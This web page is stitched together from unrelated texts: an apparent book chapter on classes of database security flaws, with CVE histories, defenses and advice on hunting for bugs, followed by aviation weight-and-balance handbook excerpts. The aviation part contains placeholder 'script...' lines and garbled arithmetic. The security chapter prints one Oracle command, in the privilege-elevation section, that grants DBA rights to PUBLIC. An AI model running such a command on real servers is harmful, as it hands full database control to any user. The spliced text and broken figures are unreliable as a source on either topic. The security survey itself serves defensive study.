WHERE P.AUDIT$ LIKE '%S%' 
AND O.OBJ# = P.OBJ#
Download the book.

Why Care About Database Security?

Overview

In the introduction, we discussed the reasons why we consider database security to be important. In this chapter, we provide a brief overview of several broad categories of security issues, with a few specific details and some discussion of general defenses. We also briefly discuss how to go about finding security flaws in database systems. Before we do so, we should discuss some emerging trends in database security.
In recent years, with the explosion in web-based commerce and information systems, databases have been drawing ever closer to the network perimeter. This is a necessary consequence of doing business on the Web—you need your customers to have access to your information via your web servers, so your web servers need to have access to your databases. Databases that were previously accessible only via several insulating layers of complex business logic are now directly accessible from the much more fluid—and much less secure—web application environment. The result of this is that the databases are closer to the attackers. With the constant march toward a paperless business environment, database systems are increasingly being used to hold more and more sensitive information, so they present an increasingly valuable target. In recent years, database vendors have been competing with each other to provide the most feature-rich environment they can, with most major systems supporting XML, web services, distributed replication, operating system integration, and a host of other useful features. To cap all of this, the legislative burden in terms of corporate security is increasing, with HIPAA, SOX, GLBA, and California Senate Bill No. 1386 imposing an ever-increasing pressure on companies to ensure that their networks are compliant.
So why care about database security? Because your databases are closer to the attacker, present a more valuable target, have more features to configure, and are more closely regulated than they have ever been before.

Which Database Is the Most Secure?

All of the databases we cover in this volume have had serious security flaws at some point. Oracle has published 69 security alerts on its "critical patch updates and security alerts" page—though some of these alerts relate to a large number of vulnerabilities, with patch 68 alone accounting for somewhere between 50 and 100 individual bugs. Depending on which repository you search, Microsoft SQL Server and its associated components have been subject to something like 36 serious security issues—though again, some of these patches relate to multiple bugs. According to the ICAT metabase, DB2 has had around 20 published security issues—although the authors of this book have recently worked with IBM to fix a further 13 issues. MySQL has had around 25 issues; Sybase ASE is something of a dark horse with a mere 2 published vulnerabilities. PostgreSQL has had about a dozen. Informix has had about half a dozen, depending on whose count you use.
The problem is that comparing these figures is almost entirely pointless. Different databases receive different levels of scrutiny from security researchers. To date, Microsoft SQL Server and Oracle have probably received the most, which accounts for the large number of issues documented for each of those databases. Some databases have been around for many years, and others are relatively recent. Different databases have different kinds of flaws; some databases are not vulnerable to whole classes of problems that might plague others. Even defining "database" is problematic. Oracle bundles an entire application environment with its database server, with many samples and pre-built applications. Should these applications be considered a part of the database? Is Microsoft's MSDE a different database than SQL Server? They are certainly used in different ways and have a number of differing components, but they were both subject to the UDP Resolution Service bug that was the basis for the "Slammer" worm.
Even if we were able to determine some weighted metric that accounted for age, stability, scrutiny, scope, and severity of published vulnerabilities, we would still be considering only "patchable" issues, rather than the inherent security features provided by the database. Is it fair to directly compare the comprehensive audit capabilities of Oracle with the rather more limited capabilities of MySQL, for instance? Should a database that supports securable views be considered "more secure" than a database that doesn't implement that abstraction? By default, PostgreSQL is possibly the most security-aware database available—but you can't connect to it over the network unless you explicitly enable that functionality. Should we take default configurations into account? The list of criteria is almost endless, and drawing any firm conclusions from it is extremely dangerous.
Ultimately, the more you know about a system, the better you will be able to secure it—up to a limit imposed by the features of that system. It isn't true to say, however, that the system with the most features is the most secure because the more functionality a system has, the more target surface there is for an attacker to abuse. The point of this book is to demonstrate the strengths and weaknesses of the various database systems we're discussing, not—most emphatically not—to determine which is the "most secure."
In the end, the most secure database is the one that you know the most about.

The State of Database Security Research

Before we can discuss the state of database security research, we should first define what we mean by the term. In general, when we use the phrase "database security research" we tend to mean research into specific, practical flaws in the security of database systems. We do not mean research into individual security incidents or discussions of marketing-led accreditation or certification efforts. We don't even mean academic research into the underlying abstractions of database security, such as field-, row-, and object-level security, or encryption, or formal protocol security analysis—though the research we are talking about may certainly touch on those subjects. We mean research relating to discoveries of real flaws in real systems.
So with that definition in mind, we will take a brief tour of recent—and not so recent—discoveries, and attempt to classify them appropriately.

Classes of Database Security Flaws

If you read about specific security flaws for any length of time, you begin to see patterns emerge, with very similar bugs being found in entirely different products. In this section, we attempt to classify the majority of known database security issues into the following categories:
  • Unauthenticated Flaws in Network Protocols
  • Authenticated Flaws in Network Protocols
  • Flaws in Authentication Protocols
  • Unauthenticated Access to Functionality
  • Arbitrary Code Execution in Intrinsic SQL Elements
  • Arbitrary Code Execution in Securable SQL Elements
  • Privilege Elevation via SQL Injection
  • Local Privilege Elevation Issues
So we begin with arguably the most dangerous class of all—unauthenticated flaws in network protocols. By this we mean buffer overflows, format string bugs, and so on, in the underlying network protocols used by database systems.

Unauthenticated Flaws in Network Protocols

Arguably the most famous bug in this class is the bug exploited by the SQL Server "Slammer" worm. The SQL Server Resolution Service operates over a UDP protocol, by default on port 1434. It exposes a number of functions, two of which were vulnerable to buffer overflow issues (CAN-2002-0649). These bugs were discovered by David Litchfield of NGS. Another SQL Server problem in the same category was the "hello" bug (CAN-2002-1123) discovered by Dave Aitel of Immunity, Inc., which exploited a flaw in the initial session setup code on TCP port 1433.
Oracle has not been immune to this category—most recently, David Litchfield found an issue with environment variable expansion in Oracle's "extproc" mechanism that can be exploited without a username or password (CAN-2004-1363). Chris Anley of NGS discovered an earlier flaw in Oracle's extproc mechanism (CAN-2003-0634) that allowed for a remote, unauthenticated buffer overflow. Mark Litchfield of NGS discovered a flaw in Oracle's authentication handling code whereby an overly long username would trigger an exploitable stack overflow (CAN-2003-0095).
David Litchfield also found a flaw in DB2's JDBC Applet Server (no CVE, but bugtraq id 11401) that allows a remote, unauthenticated user to trigger a buffer overflow.
In general, the best way to defend yourself against this class of problem is first, to patch. Second, you should attempt to ensure that only trusted hosts can connect to your database servers, possibly enforcing that trust through some other authentication mechanism such as SSH or IPSec. Depending on the role that your database server is fulfilling, this may be tricky.
Another possibility for defense is to implement an Intrusion Detection System (IDS) or an Intrusion Prevention System (IPS). These kinds of systems have been widely discussed in security literature, and are of debatable value. Although an IDS can (sometimes) tell you that you have been compromised, it won't normally prevent that compromise from happening. Signature-based IDS systems are only as strong as their signature databases and in most cases signatures aren't written by people who are capable of writing exploits, so many loopholes in the signatures get missed.
"True anomaly" IDS systems are harder to bypass, but as long as you stick to a protocol that's already in use, and keep the exploit small, you can usually slip by. Although some IDS systems are better than others, in general you need an IDS like you need someone telling you you've got a hole in the head. IDS systems will certainly stop dumber attackers, or brighter attackers who were unlucky, so they may be worthwhile provided they complement—and don't replace—skilled staff, good lockdown, and good procedures.
IPS systems, on the other hand, do prevent some classes of exploit from working but again, every IPS system the authors have examined can be bypassed with a little work, so your security largely depends on the attacker not knowing which commercial IPS you're using. Someone may bring out an IPS that prevents all arbitrary code execution attacks at some point, which would be a truly wonderful thing. Don't hold your breath waiting for it, though.

Authenticated Flaws in Network Protocols

There are substantially fewer bugs in this category. This may reflect a reduced focus on remote, authenticated bugs versus remote, unauthenticated bugs among the security research community, or it may be sheer coincidence.
David Litchfield found a flaw in DB2 for Windows (CAN-2004-0795) whereby a remote user could connect to the DB2REMOTECMD named pipe (subject to Windows authentication) and would then be able to execute arbitrary commands with the privilege of the db2admin user, which is normally an "Administrator" account.
David discovered another flaw in DB2 in this category recently, relating to an attacker specifying an overly long locale LC_TYPE. The database applies this after the user authenticates, triggering the overflow.
There are several other bugs that debatably fall into this category, normally relating to web application server components; because we're focusing on the databases themselves we'll gloss over them.
In general the best way to protect yourself against this category of bugs is to carefully control the users that have access to your databases; a strong password policy will help—as long as you're not using plaintext authentication protocols (we discuss this more later). Auditing authenticated users is also a good idea for a number of reasons; it might give you a heads-up if someone is trying to guess or brute-force a password, and if you do have an incident, at least you have somewhere to start looking.

Flaws in Authentication Protocols

Several database systems have plaintext authentication protocols, by which we mean authentication protocols in which the password is passed "on the wire" in a plaintext or easily decrypted format. In a default configuration (that Sybase warns against, but which we have still seen in use) Sybase passes passwords in plaintext. By default, Microsoft SQL Server obfuscates passwords by swapping the nibbles (4-bit halves of a byte) and XORing with 0xA5. In both of these cases, the vendors warn against using the plaintext versions of their authentication protocols and provide strong, encrypted mechanisms that are relatively easy to deploy—but the defaults are still there, and still dangerous.
MySQL has historically had a number of serious problems with its authentication protocol. Although the protocol isn't plaintext, the mathematical basis of the authentication algorithm prior to version 4.1 was called into question by Ariel Waissbein, Emiliano Kargieman, Carlos Sarraute, Gerardo Richarte, and Agustin Azubel of CORE SDI (CVE-2000-0981). Their paper describes an attack in which an attacker that can observe multiple authentications is quickly able to determine the password hash.
A further conceptual problem with the authentication protocol in MySQL prior to version 4.1 is that the protocol only tests knowledge of the password hash, not the password itself. This leads to serious problems if a user is able to somehow determine another user's password hash—and MySQL has been subject to a number of issues in which that was possible.
Robert van der Meulen found an issue (CVE-2000-0148) in MySQL versions prior to 3.23.11 whereby an attacker could authenticate using only a single byte of the expected response to the server's challenge, leading to a situation whereby if you knew a user's username, you could authenticate as that user in around 32 attempts.
Chris Anley recently found a very similar problem in MySQL (CAN-2004-0627) whereby a user could authenticate using an empty response to the server's challenge, provided he or she passed certain flags to the remote server.
This category of bugs is almost as dangerous as the "unauthenticated flaws in network protocols" category, because in many cases the traffic simply looks like a normal authentication. Attackers don't need to exploit an overflow or do anything clever, they simply authenticate without necessarily needing the password—or if they've been able to sniff the password, they just authenticate.
The best defense against this kind of bug is to ensure that your database patches are up-to-date, and that you don't have any plaintext authentication mechanisms exposed on your databases. If your DBMS cannot support encrypted authentication in your environment, you could use IPSec or SSH to provide an encrypted tunnel. MySQL provides explicit guidelines on how to do this in its documentation, though recent versions of MySQL allow authentication to take place over an SSL-encrypted channel.

Unauthenticated Access to Functionality

Some components associated with databases permit unauthenticated access to functionality that should really be authenticated. As an example of this, David Litchfield found a problem with the Oracle 8 and 9i TNS Listener, whereby a remote, unauthenticated user could load and execute an arbitrary function via the "extproc" mechanism (CVE-2002-0567). The function can have any prototype, so the obvious mode of attack is to load the libc or msvcrt library (depending upon the target platform) and execute the "system" function that allows an attacker to execute an arbitrary command line. The command will be executed with the privileges of the user that the database is running as—"oracle" on UNIX systems, or the local system user on Windows.
Recently, David Litchfield disclosed an issue that allows any local user to execute commands in the security context of the user that Oracle is running as (CAN-2004-1365). This bug works in exactly the same way as the bug listed earlier (CVE-2002-0567), except that it takes advantage of the implicit trust that extproc places in the local host. Oracle does not consider this to be a security issue (!) but we would caution you not to allow users to have shells on Oracle servers without seriously considering the security ramifications. Clearly, allowing a user to have a shell on a database server is dangerous anyway, but in this particular case there is a known, documented vector for attack that the vendor will not fix.
There is a whole class of attacks that can be carried out on unsecured Oracle TNS Listeners, including writing arbitrary data to files, that we cover later in the Oracle chapters of this book—Oracle recommends that a Listener password be set, but it is not unusual to find servers where it hasn't been.

Arbitrary Code Execution in Intrinsic SQL Elements

This class of buffer overflow applies to buffer overflow and format string bugs in elements of the database's SQL grammar that are not subject to the usual access control mechanisms (GRANT and REVOKE). This class is rather more of a threat than it might initially appear, since these bugs can normally be triggered via SQL injection problems in Internet-facing web applications. A well-written exploit for a bug in this class could take a user from the Internet into administrative control of your database server in a single step.
A good example of this kind of thing in Microsoft SQL Server was the pwdencrypt overflow discovered by Martin Rakhmanoff (CAN-2002-0624). This was a classic stack overflow in a function used by SQL Server to encrypt passwords.
An example of a format string bug in this category was the RAISERROR format string bug discovered in SQL Server 7 and 200 by Chris Anley (CAN-2001-0542).
Oracle has been subject to several bugs in this category—although it is normally possible to revoke access to Oracle functions, it can be somewhat problematic. Mark Litchfield discovered that the TIME_ZONE session parameter, and NUMTOYMINTERVAL, NUMTODSINTERVAL, FROM_TZ functions are all subject to buffer overflows that allow an attacker to execute arbitrary code.
David Litchfield discovered that the DB2 "call" mechanism was vulnerable to a buffer overflow that can be triggered by any user (no CVE-ID, but bugtraq ID 11399).
Declaring a variable with an overly long data type name in Sybase ASE versions prior to 12.5.3 will trigger an overflow.
Most databases have flaws in this category, simply because parsing SQL is a hard problem. Developers are likely to make mistakes, and since parsing code can be so convoluted, it can be hard to tell whether or not code is secure.
The best defense against this category of bugs is to patch. Allowing untrusted users to influence SQL queries on the database server can also be a bad idea; most organizations are aware of the threat posed by SQL injection but it is still present in a sizeable proportion of the web applications that we audit. This category of bugs, perhaps more so than any other, is a great argument for ensuring that your patch testing and deployment procedures are as slick as they can be.

Arbitrary Code Execution in Securable SQL Elements

In a slightly less severe category than the intrinsic function overflows, we have the set of overflow and format string bugs that exist in functions that can be subject to access controls. The interesting thing about this category is that, although the risk from these problems can be mitigated by revoking permissions to the objects in question, they are normally accessible by default.
Several bugs in this category have affected Microsoft SQL Server—Chris Anley discovered buffer overflows in the extended stored procedures xp_setsqlsecurity (CAN-2000-1088), xp_proxiedmetadata (CAN-2000-1087), xp_printstatements (CAN-2000-1086), and xp_peekqueue (CAN-2000-1085). David Litchfield discovered buffer overflows in the xp_updatecolvbm (CAN-2000-1084), xp_showcolv (CAN-2000-1083), xp_enumresultset (CAN-2000-1082), and xp_displayparamstmt (CAN-2000-1081) extended stored procedures.
Mark Litchfield discovered a buffer overflow in the BULK INSERT statement in SQL Server (CAN-2002-0641); by default the owner of a database can execute this statement but a successful exploit will normally confer administrative privileges on the target host.
David Litchfield discovered an overflow in Oracle's CREATE DATABASE LINK statement (CAN-2003-0222); by default CREATE DATABASE LINK privilege is assigned to the CONNECT role—though low-privileged accounts such as SCOTT and ADAMS can normally create database links.
Patching is the best defense against this category of bugs, though a good solid lockdown will eliminate a fair portion of them. The difficulty with removing "default" privileges is that often there are implicit dependencies—system components might depend on the ability to execute the stored procedure in question, or some replication mechanism might fail if a given role has its permissions revoked. Debugging these issues can sometimes be tricky. It is definitely worth investing some time and effort in determining which "optional" components are in use in your environment and removing the ones that aren't.

Privilege Elevation via SQL Injection

Most organizations are familiar with the risk posed by SQL injection in web applications, but fewer are aware of the implications of SQL injection in stored procedures. Any component that dynamically creates and executes a SQL query could in theory be subject to SQL injection. In those databases where mechanisms exist to dynamically compose and execute strings, SQL injection in stored procedures can pose a risk.
In Oracle, for example, stored procedures can execute with either the privilege of the invoker of the procedure, or the definer of the procedure. If the definer was a high-privileged account, and the procedure contains a SQL injection flaw, attackers can use the flaw to execute statements at a higher level of privilege than they should be able to. Recently David Litchfield discovered a number of Oracle system–stored procedures that were vulnerable to this flaw (CAN-2004-1370)—the following procedures all allow privilege elevation in one form or another:
DBMS_EXPORT_EXTENSION
WK_ACL.GET_ACL
WK_ACL.STORE_ACL
WK_ADM.COMPLETE_ACL_SNAPSHOT
WK_ACL.DELETE_ACLS_WITH_STATEMENT
DRILOAD.VALIDATE_STMT (independently discovered by Alexander Kornbrust)
The DRILOAD.VALIDATE_STMT procedure is especially interesting since no "SQL injection" is really necessary; the procedure simply executes the specified statement with DBA privileges, and the procedure can be called by anyone, for example the default user "SCOTT" can execute the following:
exec CTXSYS.DRILOAD.VALIDATE_STMT('GRANT DBA TO PUBLIC');
This will grant the "public" role DBA privileges.
In most other databases the effect of SQL injection in stored procedures is less dramatic—in Sybase, for example, "definer rights" immediately back down to "invoker rights" as soon as a stored procedure attempts to execute a dynamically created SQL statement. The same is true of Microsoft SQL Server.
It isn't true to say that SQL injection in stored procedures has no effect in SQL Server, however—if an attacker can inject SQL into a stored procedure, he can directly modify the system catalog—but only if he already had permissions that would enable him to do so. The additional risk posed by this is slight, since the attacker would already have to be an administrator in order to take advantage of any SQL injection flaw in this way—and if he is a database administrator, there are many other, far more serious things he can do to the system.
One privilege elevation issue in SQL Server is related to the mechanism used to add jobs to be executed by the SQL Server Agent (#NISR15002002B). Essentially, all users were permitted to add jobs, and those jobs would then be executed with the privileges of the SQL Agent itself (by getting the SQL Agent to re-authenticate after it had dropped its privileges).
In general, patching is the answer to this class of problem. In the specific case of Oracle, it might be worth investigating which sets of default stored procedures you actually need in your environment and revoking access to "public"—but as we previously noted, this can cause permission problems that are hard to debug.

Local Privilege Elevation Issues

It could be argued that the "unauthenticated access to functionality" class is a subset of this category, though there are some differences. This category is comprised of bugs that allow some level of privilege elevation at the operating system level. Most of the Oracle "extproc" vulnerabilities arguably also fall into this class.
The entire class of privilege elevations from database to operating system users also falls into this class; SQL Server and Sybase's extended stored procedure mechanism (for example, xp_cmdshell, xp_regread), MySQL's UDF mechanism (the subject of the January 2005 Windows MySQL worm), and a recent bug discovered by John Heasman in PostgreSQL (CAN-2005-0227) that allows non-privileged users to load arbitrary libraries (and thereby execute initialization functions in those libraries) with the privileges of the PostgreSQL server.
Other examples of bugs in this category are the SQL Server arbitrary file creation/overwrite (#NISR19002002A), and the SQL Server sp_MScopyscript arbitrary command execution (CAN-2002-0982) issues discovered by David Litchfield.
MySQL had an interesting issue (CAN-2003-0150) in versions prior to 3.23.56, whereby a user could overwrite a configuration file (my.cnf) to change the user that MySQL runs as, thereby elevating MySQL's context to "root." If the user had privileges to read files from within MySQL (file_priv), he would then be able to read any file on the system—and, via the UDF mechanism we discuss later in this volume, execute arbitrary code as "root."
We discuss some recent issues in this category in Informix and DB2 later in this book.
In general, the best defense against this class of bug is to always run your database as a low-privileged user—preferably in a chroot jail, but certainly within a "segregated" part of the file system that only the database can read and write to.

So What Does It All Mean?

The brief summary in the preceding sections has outlined a number of bugs in a small collection of interesting categories, mostly discovered by a small set of people—of which the authors of this volume form a significant (and highly prolific) part. The security research community is growing all the time, but it seems there is still only a small set of individuals routinely discovering security flaws in databases.
What are we to make of this? Does it mean database security is some kind of black art, or that those who are able to discover security bugs in databases are especially skilled? Hardly. We believe that the only reason people haven't discovered more security flaws in databases is simply that people aren't looking.
In terms of the future of database security, this has some interesting implications. If we were being forced to make predictions, our guess would be that an increasing proportion of the security research community will begin to focus on databases in the next couple of years, resulting in a lot more patches—and a lot better knowledge of the real level of security of the systems we all depend on so utterly. We're in for an interesting couple of years; if you want to find out more about the security of the systems you deploy in your own network, the next section is for you.

Finding Flaws in Your Database Server

Hopefully the long catalog of issues described in the previous section has you wondering what security problems still lurk undiscovered in your database system. Researching bugs in databases is a fairly convoluted process, mainly because databases themselves are complex systems.
If you want to find security bugs in your database system, there are a few basic principles and techniques that might help:
  • Don't believe the documentation
  • Implement your own client
  • Debug the system to understand how it works
  • Identify communication protocols
  • Understand arbitrary code execution bugs
  • Write your own "fuzzers"

Don't Believe the Documentation

Just because the vendor says that a feature works a particular way doesn't mean it actually does. Investigating the precise mechanism that implements some interesting component of a database will often lead you into areas that are relevant to security. If a security-sensitive component doesn't function as advertised, that's an interesting issue in itself.

Implement Your Own Client

If you restrict yourself to the clients provided by the vendor, you will be subject to the vendor's client-side sanitization of your requests. As a concrete example of this, the overly long username overflow that Mark Litchfield found in Oracle (CAN-2003-0095) was found after using multiple clients, including custom-written ones. The majority of the Oracle-supplied clients would truncate long usernames, or return an error before sending the username to the server. Mark managed to hit on a client that didn't truncate the username, and discovered the bug.
In general, most servers will implement older versions of their network protocols for backward compatibility. Experience tells us that legacy code tends to be less secure than modern code, simply because secure coding has only recently become a serious concern. Older protocol code might pre-date whole classes of security bugs, such as signedness-error-based overflows and format string bugs. Modern clients are unlikely to let you expose these older protocol elements, so (if you have the time) writing your own client is an excellent way of giving these older protocol components a good going-over.

Debug the System to Understand How It Works

The fastest way of getting to know a large, complex application is to "instrument" it—monitor its file system interactions, the network traffic it sends and receives (especially local traffic), take a good look at the shared memory sections that it uses, understand how the various components of the system communicate, and how those communication channels are secured. The Oracle "extproc" library loading issue is an excellent example of a bug that was found simply by observing in detail how the system works.

Identify Communication Protocols

The various components of a database will communicate with each other in a number of different ways—we have already discussed the virtues of implementing your own client. Each network protocol is worth examining, but there are other communication protocols that may not be related to the network that are just as interesting. For instance, the database might implement a file-based protocol between a monitoring component and some log files, or it might store outstanding jobs in some world-writeable directory. Temporary files are another interesting area to examine—several local privilege elevation issues in Oracle and MySQL have related to scripts that made insecure use of temporary files. Broadly speaking, a communication protocol is anything that lets two components of the system communicate. If either of those components can be impersonated, you have a security issue.

Understand Arbitrary Code Execution Bugs

You won't get very far without understanding how arbitrary code execution issues work. Almost everyone is aware of the mechanics of stack overflows, but when you break down arbitrary code execution issues into subcategories, you get interesting families of problems—format string bugs, FormatMessage bugs, sprintf("%s") issues, stack overflows, stack overflows into app data, heap overflows, off-by-one errors, signedness errors, malloc(0) errors—there are a lot of different ways that an attacker can end up running code on the machine, and some of them can be hard to spot if you don't know what you're looking for.
A full description of all of these classes of issues is beyond the scope of this book, however if you're interested, another Wiley publication, The Shellcoder's Handbook, might be a useful resource.

Write Your Own "Fuzzers"

Different people have different definitions of the word "fuzzer." Generally, a fuzzer is a program that provides semi-random inputs to some other program and (possibly) monitors the subject program for errors. You could write a fuzzer that created well-formed SQL queries with overly long parameters to standard functions, for example. Or you could write a fuzzer for Oracle TNS commands, or the SQL Server TDS protocol.
When you write a fuzzer, you're effectively automating a whole class of testing. Some would argue that placing your faith in fuzzers is foolish because you lose most of the "feeling" that you get by doing your testing manually. Although a human might notice a slight difference in behavior from one input to the next—say, a brief pause—a fuzzer won't, unless it's been programmed to. Knowledge, understanding, and hard work can't be easily automated—but brute force and ignorance can, and it's often worth doing.

Conclusion

We believe that the best way to secure a system is to understand how to attack it. This concept, while controversial at first sight, has a long history in the field of cryptography and in the broader network security field. Cryptographic systems are generally not considered "secure" until they have been subjected to some degree of public scrutiny over an extended period of time. We see no reason why software in general should not be subject to the same level of scrutiny. Dan Farmer and Wietse Venema's influential 1994 paper "Improving the Security of Your Site by Breaking into It" neatly makes the argument in favor of understanding attack techniques to better defend your network.
This book is largely composed of a lot of very specific details about the security features and flaws in a number of databases, but you should notice common threads running through the text. We hope that by the end of the book you will have a much better understanding of how to attack the seven databases we address directly here, but also a deeper understanding of how to attack databases in general. With luck, this will translate into databases that are configured, maintained, and audited by people who are far more skilled than the people who attack them.

Aircraft Design Weight and Balance Handbook Ch. 2a

Weight and Balance Theory

Two elements are vital in the weight and balance considerations of an aircraft:
  • The total weight of the aircraft must be no greater than the maximum gross weight allowed by the FAA for the particular make and model of the aircraft.
  • The center of gravity, or the point at which all of the weight of the aircraft is considered to be concentrated, must be maintained within the allowable range for the operational weight of the aircraft.

Aircraft Arms, Weights, and Moments

The term arm, usually measured in inches, refers to the distance between the center of gravity of an item or object and the reference datum. Arms ahead of, or to the left of the datum are negative (–), and those behind, or to the right of the datum are positive (+). When the datum is ahead of the aircraft, all of the arms are positive and computational errors are minimized.

Weight is normally measured in pounds. When weight is removed from an aircraft, it is negative (–), and when added, it is positive (+).

There are a number of weights that must be considered in aircraft weight and balance. The following are terms for various weights as used by the General Aviation Manufacturers Association (GAMA).
  • The standard empty weight is the weight of the airframe, engines and all items of operating weight that have fixed locations and are permanently installed in the aircraft. This weight must be recorded in the aircraft weight and balance records. The basic empty weight includes the standard empty weight plus any optional equipment that has been installed.
  • Maximum allowable gross weight is the maximum weight authorized for the aircraft and all of its contents as specified in the Type Certificate Data Sheets (TCDS) or Aircraft Specifications for the aircraft.
  • Maximum landing weight is the greatest weight that an aircraft normally is allowed to have when it lands.
  • Maximum takeoff weight is the maximum allowable weight at the start of the takeoff run.
  • Maximum ramp weight is the total weight of a loaded aircraft, and includes all fuel. It is greater than the takeoff weight due to the fuel that will be burned during the taxi and run up operations. Ramp weight is also called taxi weight.
The manufacturer establishes the allowable gross weight and the range allowed for the CG, as measured in inches from a reference plane called the datum. In large aircraft, this range is measured in percentage of the mean aerodynamic chord (MAC), the leading edge of which is located a specified distance from the datum.
The datum may be located anywhere the manufacturer chooses; it is often the leading edge of the wing or some specific distance from an easily identified location. One popular location for the datum is a specified distance forward of the aircraft, measured in inches from some point such as the leading edge of the wing or the engine firewall.

The datum of some helicopters is the center of the rotor mast, but this location causes some arms to be positive and others negative. To simplify weight and balance computations, most modern helicopters, like airplanes, have the datum located at the nose of the aircraft or a specified distance ahead of it.
A moment is a force that tries to cause rotation, and is the product of the arm, in inches, and the weight, in pounds. Moments are generally expressed in pound-inches (lb-in) and may be either positive or negative. Figure 2-1 shows the way the algebraic sign of a moment is derived. Positive moments cause an airplane to nose up, while negative moments cause it to nose down.
figure 2-1

The Law of the Lever

All weight and balance problems are based on the physical law of the lever. This law states that a lever is balanced when the weight on one side of the fulcrum multiplied by its arm is equal to the weight on the opposite side multiplied by its arm. In other words, the lever is balanced when the algebraic sum of the moments about the fulcrum is zero. [Figure 2-2] This is the condition in which the positive moments (those that try to rotate the lever clockwise) are equal to the negative moments (those that try to rotate it counter- clockwise).

figure 2-2

Consider these facts about the lever in Figure 2-2: The 100-pound weight A is located 50 inches to the left of the fulcrum (the datum, in this instance), and it has a moment of 100°?–50 = –5,000 lb-in. The 200-pound weight B is located 25 inches to the right of the fulcrum, and its moment is 200° +25 = +5,000 lb-in. The sum of the moments is –5,000 +5,000 = 0, and the lever is balanced. [Figure 2-3] The forces that try to rotate it clockwise have the same magnitude as those that try to rotate it counterclockwise.
figure 2-3

Determining the CG
One of the easiest ways to understand weight and balance is to consider a board with weights placed at various locations. We can determine the CG of the board and observe the way the CG changes as the weights are moved. The CG of a board like the one in Figure 2-4 may be deter-mined by using these four steps:
  1. Measure the arm of each weight in inches from a datum.
  2. Multiply each arm by its weight in pounds to determine the moment in pound-inches of each weight.
  3. Determine the total of all the weights and of all the moments. Disregard the weight of the board.
  4. Divide the total moment by the total weight to determine the CG in inches from the datum.
figure 2-4

In Figure 2-4, the board has three weights, and the datum is located 50 inches to the left of the CG of weight A. Determine the CG by making a chart like the one in Figure 2-5.

figure 2-5

As noted in Figure 2-5, “A” weighs 100 pounds and is 50 inches from the datum; “B” weighs 100 pounds and is 90 inches from the datum; “C” weighs 200 pounds and is 150 inches from the datum. Thus the total of the three weights is 400 pounds, and the total moment is 44,000 lb-in. Determine the CG by dividing the total moment by the total weight.

script...

To prove this is the correct CG, move the datum to a location 110 inches to the right of the original datum and determine the arm of each weight from this new datum, as in Figure 2-6. Then make a new chart similar to the one in Figure 2- 7. If the CG is correct, the sum of the moments will be zero.

figure 2-6

The new arm of weight A is 110 – 50 = 60 inches, and since this weight is to the left of the datum, its arm is negative, or –60 inches. The new arm of weight B is 110 – 90 = 20 inches, and it is also to the left of the datum, so it is –20; the new arm of weight C is 150 – 110 = 40 inches. It is to the right of the datum and is therefore positive.

figure 2-7

The location of the datum used for determining the arms of the weights is not important; it can be anywhere. But all of the measurements must be made from the same datum location.

Determining the CG of an airplane is done in the same way as determining the CG of the board in the example on the previous page. [Figure 2-8] Prepare the airplane for weighing (as explained in Chapter 3) and place it on three scales. All tare weight, the weight of any chocks or devices used to hold the aircraft on the scales, is subtracted from the scale reading, and the net weight of the wheels is entered into a chart like the one in Figure 2-9. The arms of the weighing points are specified in the TCDS for the airplane in terms of stations, which are distances in inches from the datum.

figure 2-8 figure 2-9


The empty weight of this aircraft is 5,862 pounds. Its EWCG, determined by dividing the total moment by the total weight, is located at fuselage station 201.1. This is 201.1 inches behind the datum.
script 2...

Aircraft Design Weight and Balance Handbook Ch. 1b

Weight Changes


The maximum allowable gross weight for an aircraft is determined by design considerations. However, the maximum operational weight may be less than the maximum allowable due to such considerations as high density altitude or high-drag field conditions caused by wet grass or water on the runway. The maximum gross weight may also be limited by the departure or arrival airport’s runway length.
One important preflight consideration is the distribution of the load in the aircraft. Loading an aircraft so the gross weight is less than the maximum allowable is not enough. This weight must be distributed to keep the CG within the limits specified in the POH or AFM.
If the CG is too far forward, a heavy passenger can be moved to one of the rear seats or baggage can be shifted from a forward baggage compartment to a rear compartment. If the CG is too far aft, passenger weight or baggage can be shifted forward. The fuel load should be balanced laterally: the pilot should pay special attention to the POH or AFM regarding the operation of the fuel system, in order to keep the aircraft balanced in flight.


Weight and balance of a helicopter is far more critical than for an airplane. A helicopter may be properly loaded for takeoff, but near the end of a long flight when the fuel tanks are almost empty, the CG may have shifted enough for the helicopter to be out of balance laterally or longitudinally. Before making any long flight, the CG with the fuel available for landing must be checked to ensure it will be within the allowable range.
Airplanes with tandem seating normally have a limitation requiring solo flight to be made from the front seat in some airplanes or the rear seat in others. Some of the smaller helicopters also require solo flight be made from a specific seat, either the right or the left. These seating limitations will be noted by a placard, usually on the instrument panel, and they should be strictly adhered to.

As an aircraft ages, its weight usually increases due to trash and dirt collecting in hard-to-reach locations, and moisture absorbed in the cabin insulation. This growth in weight is normally small, but it can only be determined by accurately weighing the aircraft.

Changes of fixed equipment may have a major effect upon the weight of the aircraft. Many aircraft are overloaded by the installation of extra radios or instruments. Fortunately, the replacement of older, heavy electronic equipment with newer, lighter types results in a weight reduction. This weight change, however helpful, will probably cause the CG to shift and this must be computed and annotated in the weight and balance data.

Repairs and alterations are the major sources of weight changes, and it is the responsibility of the AMT making any repair or alteration to know the weight and location of these changes, and to compute the new CG and record the new empty weight and EWCG in the aircraft weight and balance data.
The AMT conducting an annual or 100-hour inspection must ensure the weight and balance data in the aircraft records is current and accurate. It is the responsibility of the pilot in command to use the most current weight and balance data when operating the aircraft.
Has the Aircraft Gained Weight?
As an aircraft ages, its weight usually increases. Repairs and alterations are the major sources of weight change.
AMTs conducting an annual or 100-hour inspection must ensure the weight and balance data in the aircraft records is current and accurate. The pilot in command’s responsibility is to use the most current weight and balance data when planning a flight.

Stability and Balance Control


Balance control refers to the location of the CG of an aircraft. This is of primary importance to aircraft stability, which determines safety in flight. The CG is the point at which the total weight of the aircraft is assumed to be concentrated, and the CG must be located within specific limits for safe flight. Both lateral and longitudinal balance are important, but the prime concern is longitudinal balance; that is, the location of the CG along the longitudinal or lengthwise axis.

An airplane is designed to have stability that allows it to be trimmed so it will maintain straight and level flight with hands off of the controls. Longitudinal stability is maintained by ensuring the CG is slightly ahead of the center of lift. This produces a fixed nose-down force independent of the airspeed. This is balanced by a variable nose-up force, which is produced by a downward aerodynamic force on the horizontal tail surfaces that varies directly with airspeed.

[Figure 1-1]

If a rising air current should cause the nose to pitch up, the airplane will slow down and the downward force on the tail will decrease. The weight concentrated at the CG will pull the nose back down. If the nose should drop in flight, the airspeed will increase and the increased downward tail load will bring the nose back up to level flight.
 
